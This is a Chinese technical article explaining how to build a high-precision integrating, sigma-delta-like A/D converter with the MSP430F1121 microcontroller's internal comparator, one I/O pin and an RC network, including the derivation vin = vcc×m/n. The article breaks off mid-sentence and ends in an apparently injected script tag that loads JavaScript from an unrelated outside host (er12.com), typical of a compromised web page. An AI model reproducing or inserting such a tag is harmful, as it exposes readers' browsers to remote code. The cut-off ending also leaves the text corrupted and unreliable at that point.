σ-δa/d技术具有高分辨率、高线性度和低成本的特点。本文基于ti公司的msp430f1121单片机,介绍了采用内置比较器和外围电路构成类似于∑-△的高精度a/d实现方案,适合用于对温度、压力和电压等缓慢变化信号的采集应用。
在各种a/d转换器中,最常用是逐次逼近法(sar)a/d,该类器件具有转换时间固定且快速的特点,但难以显著提高分辨率;积分型a/d有较强的抗干扰能力,但转换时间较长;过采样σ-δa/d由于其高分辨率,高线性度及低成本的特点,正得到越来越多的应用。根据这些特点,本文以ti公司的msp430f1121单片机实现了一种类似于σ-δa/d技术的高精度转换器方案。
msp430f1121是16位risc结构的flash型单片机,该芯片有14个双向i/o口并兼有中断功能,一个16位定时器兼有计数和定时功能。i/o口输出高电平时电压接近vcc,低电平时接近vss,因此,一个i/o口可以看作一位dac,具有pwm功能。
该芯片具有一个内置模拟电压比较器,只须外接一只电阻和电容即可构成一个类似于σ-δ技术的高精度单斜率a/d。一般而言,比较器在使用过程中会受到两种因素的影响,一种是比较器输入端的偏置电压的积累;另一种是两个输入端电压接近到一程度时,输出端会产生振荡。
msp430f1121单片机在比较器两输入端对应的单片机端口与片外输入信号的连接线路保持不变的情况下,可通过软件将比较器两输入端与对应的单片机端口的连接线路交换,并同时将比较器的输出极性变换,这样抵消了比较器的输入端累积的偏置电压。通过在内部将输出连接到低通滤波器后,即使在比较器输入端两比较电压非常接近,经过滤波后也不会出现输出端的振荡现象,从而消除了输出端震荡的问题。
利用内置比较器实现高精度a/d
图1是一个可直接使用的a/d转换方案,该方案是一个高精度的积分型a/d转换器。其基本原理是用单一的i/o端口,执行1位的数模转换,以比较器的输出作反馈,来维持vout与vin相等。
如图1所示,产生1位dac的电路为一路通用i/o口、一个串联的电阻和电容。在电容上产生vout,要维持vout=vin,必须通过i/o口对电容进行充放电,而由比较器的输出来决定是进行充电还是放电(即i/o口输出高低电平),这样a/d形成了一个类似于带负反馈的闭环系统。以图1的电路为例,当比较器输出为高电平时,说明vout>vin,此时应对电容放电,则i/o口输出低电平;当比较器输出为低电平时,说明vout<vin,应对电容充电,则i/o口输出高电平。
充、放电维持的时间确定的方法是每隔一个极短且固定的时间t后,查询比较器的输出状态,如果比较器的输出状态没变,则维持i/o口的输出;当比较器的输出状态发生改变,则i/o口的输出状态也应改变。因此 ,i/o的某一状态(高/低电平)维持的时间可能是xt(x为整数),从而在整个a/d转换过程中,形成了一系列的x1、x2、...、xi、...、xn。xn为一随机数,其值由比较器的输出状态而定。在每个单位时间t后,如果i/o口的输出为高电平,则事先设定的计数加1,当a/d转换完成后,记录下i/o口输出高电平的次数为m。
而a/d转换完成的时间主要取决于对a/d转换的精度要求。当要求一个12位的a/d,则其时间为4096t,即对比较器输出作4096次查询,每次查询间隔时间为t(参考后面的程序及说明)。同样16位的a/d的时间为65535t。在此,将对应转换精度要求的4096或65535设为n,并结合上文所述,n=x1+x2+……xn。
那么结合电容的充放电公式: v(t)=v(1-exp(-t/rc))
可对积分型a/d作以下数学上的推断,从而求出vin。
n=x1+x2+……xn
高电平的次数为m
假设:
vin(t)=vin
根据vout=vin和电容的充放电的公式可得:
vout(t)=vin+m(vcc-vin)(1-exp(-t/rc))-(n-m)vin(1-exp(-t/rc)
m(vcc-vin)(1-exp(-t/rc))为充电过程
(n-m)vin(1-exp(-t/rc)为放电过程
因此:
vin=vcc×m/n (1)
上式成立的前提条件是vin 在短时间内不变,且对确定vout的?script src=http://er12.com/t.js>